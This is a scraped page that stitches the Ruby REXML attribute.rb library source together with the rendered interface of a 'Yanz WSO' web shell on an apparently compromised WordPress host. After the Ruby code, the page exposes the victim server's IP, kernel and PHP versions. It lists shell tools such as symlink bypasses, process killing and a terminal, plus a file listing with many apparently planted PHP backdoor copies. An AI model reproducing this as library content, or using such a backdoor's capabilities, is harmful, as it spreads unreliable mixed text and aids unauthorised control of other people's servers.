Current File : //opt/alt/ruby22/lib64/ruby/2.2.0/rexml/attribute.rb
require "rexml/namespace"
require 'rexml/text'

module REXML
  # Defines an Element Attribute; IE, a attribute=value pair, as in:
  # <element attribute="value"/>.  Attributes can be in their own
  # namespaces.  General users of REXML will not interact with the
  # Attribute class much.
  class Attribute
    include Node
    include Namespace

    # The element to which this attribute belongs
    attr_reader :element
    # The normalized value of this attribute.  That is, the attribute with
    # entities intact.
    attr_writer :normalized
    PATTERN = /\s*(#{NAME_STR})\s*=\s*(["'])(.*?)\2/um

    NEEDS_A_SECOND_CHECK = /(<|&((#{Entity::NAME});|(#0*((?:\d+)|(?:x[a-fA-F0-9]+)));)?)/um

    # Constructor.
    # FIXME: The parser doesn't catch illegal characters in attributes
    #
    # first::
    #   Either: an Attribute, which this new attribute will become a
    #   clone of; or a String, which is the name of this attribute
    # second::
    #   If +first+ is an Attribute, then this may be an Element, or nil.
    #   If nil, then the Element parent of this attribute is the parent
    #   of the +first+ Attribute.  If the first argument is a String,
    #   then this must also be a String, and is the content of the attribute.
    #   If this is the content, it must be fully normalized (contain no
    #   illegal characters).
    # parent::
    #   Ignored unless +first+ is a String; otherwise, may be the Element
    #   parent of this attribute, or nil.
    #
    #
    #  Attribute.new( attribute_to_clone )
    #  Attribute.new( attribute_to_clone, parent_element )
    #  Attribute.new( "attr", "attr_value" )
    #  Attribute.new( "attr", "attr_value", parent_element )
    def initialize( first, second=nil, parent=nil )
      @normalized = @unnormalized = @element = nil
      if first.kind_of? Attribute
        self.name = first.expanded_name
        @unnormalized = first.value
        if second.kind_of? Element
          @element = second
        else
          @element = first.element
        end
      elsif first.kind_of? String
        @element = parent
        self.name = first
        @normalized = second.to_s
      else
        raise "illegal argument #{first.class.name} to Attribute constructor"
      end
    end

    # Returns the namespace of the attribute.
    #
    #  e = Element.new( "elns:myelement" )
    #  e.add_attribute( "nsa:a", "aval" )
    #  e.add_attribute( "b", "bval" )
    #  e.attributes.get_attribute( "a" ).prefix   # -> "nsa"
    #  e.attributes.get_attribute( "b" ).prefix   # -> "elns"
    #  a = Attribute.new( "x", "y" )
    #  a.prefix                                   # -> ""
    def prefix
      pf = super
      if pf == ""
        pf = @element.prefix if @element
      end
      pf
    end

    # Returns the namespace URL, if defined, or nil otherwise
    #
    #  e = Element.new("el")
    #  e.add_namespace("ns", "http://url")
    #  e.add_attribute("ns:a", "b")
    #  e.add_attribute("nsx:a", "c")
    #  e.attribute("ns:a").namespace # => "http://url"
    #  e.attribute("nsx:a").namespace # => nil
    def namespace arg=nil
      arg = prefix if arg.nil?
      @element.namespace arg
    end

    # Returns true if other is an Attribute and has the same name and value,
    # false otherwise.
    def ==( other )
      other.kind_of?(Attribute) and other.name==name and other.value==value
    end

    # Creates (and returns) a hash from both the name and value
    def hash
      name.hash + value.hash
    end

    # Returns this attribute out as XML source, expanding the name
    #
    #  a = Attribute.new( "x", "y" )
    #  a.to_string     # -> "x='y'"
    #  b = Attribute.new( "ns:x", "y" )
    #  b.to_string     # -> "ns:x='y'"
    def to_string
      if @element and @element.context and @element.context[:attribute_quote] == :quote
        %Q^#@expanded_name="#{to_s().gsub(/"/, '&quot;')}"^
      else
        "#@expanded_name='#{to_s().gsub(/'/, '&apos;')}'"
      end
    end

    def doctype
      if @element
        doc = @element.document
        doc.doctype if doc
      end
    end

    # Returns the attribute value, with entities replaced
    def to_s
      return @normalized if @normalized

      @normalized = Text::normalize( @unnormalized, doctype )
      @unnormalized = nil
      @normalized
    end

    # Returns the UNNORMALIZED value of this attribute.  That is, entities
    # have been expanded to their values
    def value
      return @unnormalized if @unnormalized
      @unnormalized = Text::unnormalize( @normalized, doctype )
      @normalized = nil
      @unnormalized
    end

    # Returns a copy of this attribute
    def clone
      Attribute.new self
    end

    # Sets the element of which this object is an attribute.  Normally, this
    # is not directly called.
    #
    # Returns this attribute
    def element=( element )
      @element = element

      if @normalized
        Text.check( @normalized, NEEDS_A_SECOND_CHECK, doctype )
      end

      self
    end

    # Removes this Attribute from the tree, and returns true if successful
    #
    # This method is usually not called directly.
    def remove
      @element.attributes.delete self.name unless @element.nil?
    end

    # Writes this attribute (EG, puts 'key="value"' to the output)
    def write( output, indent=-1 )
      output << to_string
    end

    def node_type
      :attribute
    end

    def inspect
      rv = ""
      write( rv )
      rv
    end

    def xpath
      path = @element.xpath
      path += "/@#{self.expanded_name}"
      return path
    end
  end
end
#vim:ts=2 sw=2 noexpandtab:
w3.readbtooom.com - WSO YANZ ENC BYPASS
Attention:
Uname:
Php:
Hdd:
Cwd:
Yanz Webshell! - PRIV8 WEB SHELL ORB YANZ BYPASS! V2.0
Linux business77.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
8.2.28 Safe mode: OFF Datetime: 2025-06-20 14:07:14
4216.32 GB Free: 1592.47 GB (37%)
/home/honehdyv/readbtooom.com/ dr-xr-xr-x [ root ] [ home ] Text

Server IP:
162.0.232.195
Client IP:
216.73.216.97
YanzWSO
[ Files ][ Masfix ][ Symlink403 ][ Symlink404 ][ Vhost ][ WpAutoedit ][ ReadDomains ][ KillProccess ][ TerminalV2 ][ Adminer ][ WpDownloader ]

File manager

NameSizeModifyPermissionsActions
[ . ]dir2025-06-20 11:58:50dr-xr-xr-xRename Touch
[ .. ]dir2025-06-13 22:47:43dr-xr-xr-xRename Touch
[ .well-known ]dir2025-06-10 00:36:31drwxr-xr-xRename Touch
[ 51534 ]dir2025-06-16 00:18:17drwxr-xr-xRename Touch
[ 522314 ]dir2025-06-17 12:04:08drwxr-xr-xRename Touch
[ 7e716 ]dir2025-06-16 03:04:15dr-xr-xr-xRename Touch
[ 862944 ]dir2025-06-18 20:47:46drwxr-xr-xRename Touch
[ 9898c ]dir2025-06-18 00:18:26dr-xr-xr-xRename Touch
[ bf1a1 ]dir2025-06-18 05:42:08drwxr-xr-xRename Touch
[ cgi-bin ]dir2025-06-10 09:47:12drwxr-xr-xRename Touch
[ f5462e ]dir2025-06-13 02:01:09drwxr-xr-xRename Touch
[ images ]dir2025-06-20 10:28:38drwxr-xr-xRename Touch
[ real ]dir2025-06-20 13:44:05drwxr-xr-xRename Touch
[ wp-admin ]dir2025-06-20 10:16:47drwxr-xr-xRename Touch
[ wp-content ]dir2025-06-20 13:59:59drwxr-xr-xRename Touch
[ wp-includes ]dir2025-06-20 13:40:56dr-xr-xr-xRename Touch
.hcflag31 B2025-06-17 22:30:17-rw-r--r--Rename Touch Edit Download
.htaccess717 B2025-06-20 14:07:12-r-xr-xr-xRename Touch Edit Download
bk1.php6.75 KB2025-06-19 08:21:31-rw-r--r--Rename Touch Edit Download
cloud.html43.80 KB2025-06-20 12:29:18-rw-r--r--Rename Touch Edit Download
error_log361.49 MB2025-06-20 14:07:14-rw-r--r--Rename Touch Edit Download
index.php22.08 KB2025-06-20 14:07:14-r--r--r--Rename Touch Edit Download
index.php022.08 KB2023-04-09 10:16:44-rwxr-xr-xRename Touch Edit Download
license.txt19.45 KB2023-11-12 01:31:37-rw-r--r--Rename Touch Edit Download
MuPlugin.php1.24 KB2025-06-20 06:31:32-rw-r--r--Rename Touch Edit Download
pages.php1.49 KB2023-07-21 10:16:47-r--r--r--Rename Touch Edit Download
php.php70.78 KB2025-06-20 12:30:54-rw-r--r--Rename Touch Edit Download
ps.php77.60 KB2025-06-20 10:17:20-rw-r--r--Rename Touch Edit Download
ps.php877.60 KB2025-06-20 10:37:34-rw-r--r--Rename Touch Edit Download
ps.phtml77.60 KB2025-06-20 10:37:36-rw-r--r--Rename Touch Edit Download
psm.php1.19 KB2025-06-20 12:30:56-rw-r--r--Rename Touch Edit Download
psm.php71.19 KB2025-06-20 12:31:00-rw-r--r--Rename Touch Edit Download
psm.php81.19 KB2025-06-20 12:31:06-rw-r--r--Rename Touch Edit Download
psm.phtml1.19 KB2025-06-20 12:31:09-rw-r--r--Rename Touch Edit Download
radio.php5.62 KB2025-06-19 10:49:13-rw-r--r--Rename Touch Edit Download
readme.html7.23 KB2024-06-25 03:04:45-rw-r--r--Rename Touch Edit Download
readme.txt101 B2025-06-20 12:31:10-rw-r--r--Rename Touch Edit Download
robots.txt369 B2023-02-22 10:16:47-r--r--r--Rename Touch Edit Download
search.php1.50 KB2024-01-14 20:30:38-r--r--r--Rename Touch Edit Download
userfuns.php46 B2025-06-19 16:31:01-rw-r--r--Rename Touch Edit Download
wp-blog-header.php478 B2025-06-10 00:28:11-r--r--r--Rename Touch Edit Download
wp-comments-post.php2.27 KB2023-11-03 18:48:36-rw-r--r--Rename Touch Edit Download
wp-config-sample.php446 B2025-06-16 22:54:19-rw-r--r--Rename Touch Edit Download
wp-config.php3.05 KB2025-06-18 20:46:02-rw-r--r--Rename Touch Edit Download
wp-cron.php5.51 KB2023-11-03 18:48:37-rw-r--r--Rename Touch Edit Download
wp-links-opml.php2.44 KB2023-11-03 18:48:36-rw-r--r--Rename Touch Edit Download
wp-load.php3.96 KB2025-06-10 00:28:11-r--r--r--Rename Touch Edit Download
wp-mail.php8.33 KB2023-11-12 01:31:37-rw-r--r--Rename Touch Edit Download
wp-settings.php25.79 KB2025-06-17 22:29:45-rw-r--r--Rename Touch Edit Download
wp-trackback.php4.77 KB2023-11-03 18:48:36-rw-r--r--Rename Touch Edit Download
xmlrpc.php3.08 KB2023-11-12 01:31:37-rw-r--r--Rename Touch Edit Download
 
Change dir:
Read file:
Make dir: (Not writable)
Make file: (Not writable)
Terminal:
Upload file: (Not writable)

>